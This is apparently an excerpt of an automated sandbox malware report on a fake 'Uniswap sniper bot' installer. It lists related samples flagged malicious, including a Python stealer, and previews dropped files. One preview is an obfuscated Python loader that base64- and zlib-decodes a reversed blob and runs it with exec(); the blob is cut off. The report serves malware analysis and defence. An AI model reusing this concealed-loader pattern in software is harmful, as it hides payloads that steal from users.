Joe Sandbox View:	Filename: my2gf4tNEk.exe, Detection: malicious, Browse Filename: my2gf4tNEk.exe, Detection: malicious, Browse Filename: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, Detection: malicious, Browse Filename: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, Detection: malicious, Browse Filename: J33WM5suMd.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.3650.10061.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.3650.10061.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./TF.A.F.A.F.A.O...D.A...@.D.A...D.J.A...E.N.A...B.E.A...@.E.A...@.D.A.F.@..A...L.G.A...A.G.A....G.A...C.G.A.RichF.A.................PE..d...Z..c.........." ...".R..........`................................................T....`.............................................P...`...d.......................x)..........`w..T........................... v..@............p...............................text....P.......R.................. ..`.rdata..~J...p...L...V..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe
File Type:	ASCII text, with very long lines (5066)
Category:	dropped
Size (bytes):	5067
Entropy (8bit):	6.041901189355394
Encrypted:	false
SSDEEP:	96:FSCVaWfH4ZuKgwYtfhZ9W+GBeJV9xREus/qf/7G145QOyrKAGRi02emT0:Fjgqt5DJVvume4VgKAoib0
MD5:	597A7F260E9DD344B80FDAC363204EE2
SHA1:	5E27E91DC3F092B3956DC639659AB78AFF3FFA89
SHA-256:	82ADD5AE279B8CE380BE68BABFBE314B69AC1BAD63064D4FB4CAAFE494A1962E
SHA-512:	8D4124275E5D951E21F1B5B615CF6BF547BCF87167C27FA778DCF959F00A26789C4B82642318C57EDD3173390CF8AE619A19FBEAB2418FA4E52485A3AF0C9248
Malicious:	false
Preview:	_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=c3XKw7D+//vnrftvxAaCcfAakAzo0vClKBdS/pXN3zUvjn2t1FYSMZofCKjmOMoB4K0ARAFtfKaL9t1Duoh0NoopRuPmkJzvwq03t3oYoyTPz1u/0Zx1DpfOQ2A+eZUhUmViN6++FXIy/9EphkN+6RQ1I+lqS9dnQ2hSUQtGSOwRYCvDUwIkBds7UgPayW4yrdtpZ6OwCNKRgwr/dEDF25ZdMc2HWnKr2/0YGdMxmUEOVG9w4LN6y1j0MOgoHJ5SOynUYjgNwd66UGKh2nRGTJCtEB4eUJsz0PCukI8qmkxhCT5k0zV0ZEA7o5o2hWFeMFka5J4kim3ohN+MVO9H3hcQgvaiFGlCtxc229O8gp6r3EK7AJ8DOB1it6IImt5s4OkZWJP0Ny/PbwWKLTRM7MVL4WZTJVSafzXlQI0j25gL9ciGNlpUUZ9nCtaMifUGHmhx4wHUcsTXmn79VqF+/R2zUlPOmRihy//yLJ+qqye5VFQrk/K/F6e6tCtzx0DScO7pOGjXemux7gnOuxHCvCpQsnUeZHlWp2Rf4Iw3zWlPNuiSRfv3c/0NWiHUEMU1g7VmgiN0c59C2Slg4PzL6q7WmphKoVGaLe0KUc5/O83MC2yZrSKcO1TCRKV4VxN2H/ac/AoogV7M/aN7OTSkF6vvmqh21rcpqgY0qfECg2sf+qKjHAtRCnLcn/xrIvh4MKyHyTAEG/gWJAEVprIMgidO5/mv5BhsjRpIOmKCk66LZk8JeCnMgc+sz3uHeywXL9U3ToLx0ctS2CU3WJ9NFtlnEA2FbrdTOhuuPDhGwg8txebUS5i0q18pMwoJ+9pTE7ZYw7QPLDV+jZr4+WHZrRkP718dzsEH87ZAKMRiUUQQ7QKcnGUjDeQ6XReHDz/kw9fv

Process:	C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN